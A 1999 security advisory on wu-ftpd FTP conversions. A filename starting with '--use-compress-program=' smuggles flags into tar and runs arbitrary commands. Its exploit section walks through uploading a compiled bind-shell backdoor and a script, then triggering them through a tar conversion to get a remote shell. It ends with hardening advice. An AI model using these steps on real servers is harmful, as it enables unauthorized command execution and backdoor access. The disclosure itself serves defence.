suid@suid.edu - the dangers of ftp conversions on misconfigured systems/ftpd (specifically wu-ftpd)

Summary:

 There exists a vulnerability with certain configurations of     certain ftp daemons with which users with a valid  ftp only acccount on a system may execute arbitrary commands  (including binaries supplied by themselves). There also exists the possibilty that anonymous ftp users may execute  arbitrary commands (also including binaries supplied by themselves).

 While this vulnerability is entirely configuration dependent.  The required configuration is rather common. The requirements can be found in the example exploit section.  Usually such misconfigurations are made only by the security-handicapped, and the documentation-illiterate. There is  volumous amounts of documentation around which warn against this kind of configuration however it does not  touch on this exact problem. Nor does it stop them from
 making the same mistakes time after time.

Background:

 FTP Conversion is the name given to the process whereby a user  can convert/archive/compress data on the fly  when retrieving files from a FTP server. This is done when the  FTP user requests a filename and appends
.tar/.tar.gz/.Z/.gz to the filename. The FTP then opens a pipe  through the requested binary (/bin/tar for example)
 and sends the file through this pipe to the user.

Vulnerability:

 If a user with intent crafts a filename beginning with a '-'  sign it is possible to pass arbitrary flags to the
 command invoked by FTPD. If the user also includes spaces in  this filename, they may pass further arguments. Modern
 tar implementations include some fairly interesting arguments.  For the purposes of lftpdthis advisory I will only
 detail one.
 
  From the tar(1) man page:

  --use-compress-program PROG
               filter the archive through PROG (which must accept   -d)

 So it can be seen quite obviously that the flag:

  --use-compress-program=id

 will invoke the id command as a compression program for tar to  filter through, obviously failing in the
 process, but trying nonetheless.

 Using this mechanism it is possible to invoke any command in the  path. It is also, as mentioned previously, possible
 to pass those commands further arguments.

Impact:
 The impacts of this bug are that any command within the path may  be executed by users who may not have the ability to
 execute commands otherwise. If those commands can be coaxed into  running other commands, a user may manage an
 interactive shell. Impacts may be restricted by the default  behaviour of wu-ftpd to chroot() the anonymous ftp user.
 However it is still possible for users to upload their own  binaries and use your comprimised FTP server for something
 like:
  - launching attacks on your internal network which they  may not have had the ability to do previously due to
   ACL's etc
  - launching denial of service attacks on other sites from  your FTP server
  - taking part in distributed attacks, or distributed  denial service attacks, using your comprimised FTP server

Tested On:

 It must be stated here that this vulnerability is quite cross  platform in that it is possible for FTP site
 administrators running wu-ftpd on any operating system to have  configured FTPD in this manner. However it is generally
 more prevalant on Linux installations.

 I have verified this vulnerability against the following  configuration:
 
  RedHat (5.2, 6.0, 6.1)
  anonftp package version 2.8.1
  wu-ftpd (2.4.2, 2.5.0, 2.6.0)

Exploit Information:

 This vulnerability is simple to exploit. However to exploit it  you must be able to upload/download files. (e.g. a
 mode 0777 incoming directory). Pretty common right?

 I am only going to document 1 method of exploiting this. There  are many, I leave it as an excercise to the
 reader to take things further.

 For the purposes of this exploit you also need a shell in the  remote path. For example, a RedHat machine with the
 anonftp package installed has exactly what you need.

 Firstly, assuming you are running the same platform as your  target, statically compile some sort of backdoor program,
 The easiest thing I can think of to use is bindshell.c.

 $ gcc bindshell.c -o b -static
 
 Secondly, tar this up. You will need to tar it up because the  remote side will rarely have the ability to change
 permissions at this stage. (SITE CHMOD rarely works on anonymous  ftp sites)

 $ tar -cf b.tar b

 Create a script of things you want to do on the remote site,  this will be interpreted by bash or sh.

 $ cat > blah
 #
 /bin/tar -xf b.tar
 ./b
 ^D

 Leave the first line as a comment.

 Create a empty file called "--use-compress-program=sh blah"

 $ > "--use-compress-program=sh blah"

 Connect to your target ftp server.

 $ ftp localhost
 Connected to localhost.
 220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready.
 Name (localhost:suid): ftp
 331 Guest login ok, send your complete e-mail address as  password.
 Password:
 230 Guest login ok, access restrictions apply.
 Remote system type is UNIX.
 Using binary mode to transfer files.
 ftp>

 Change to your world writable directory:

 ftp> cd /incoming

 Store your files:

 ftp> put blah
 ftp> put b.tar
 ftp> put "--use-compress-program=sh blah"

 Now using TAR conversion, get your "--use-compress-program=sh  blah" file.

 ftp> get "--use-compress-program=sh blah".tar

 It should open a connection then freeze. Now telnet to your  bindshell port. 

Recommendations:

 WU-FTPD have taken the stance that because this vulnerability is  more a configuration issue than anything else, they
 do not plan on releasing a patch. This is correct.

 You would be wise to evaluate the need for anonymous ftp on your  server and remove the ability if possible.

 If you require anonymous ftp access, ensure there are no world  writable directories, also ensure that the smallest
 amount of commands you can get away with exist in the ~ftp/bin  directory.

 Disable ftp conversions in /etc/ftpacess

 Consult your documentation and follow the advice contained  within. It is worth it.

 CERT and Auscert have released numerous papers, and advisories  on these types of misconfigurations in the past
 read them!

 See my website for some more information:
  http://www.suid.edu/
 

Greetings:

  cr@rotten.com
  yowie@virus.beergrave.net
  duke@viper.net.au
  ncb@attrition.org

18th December, 1999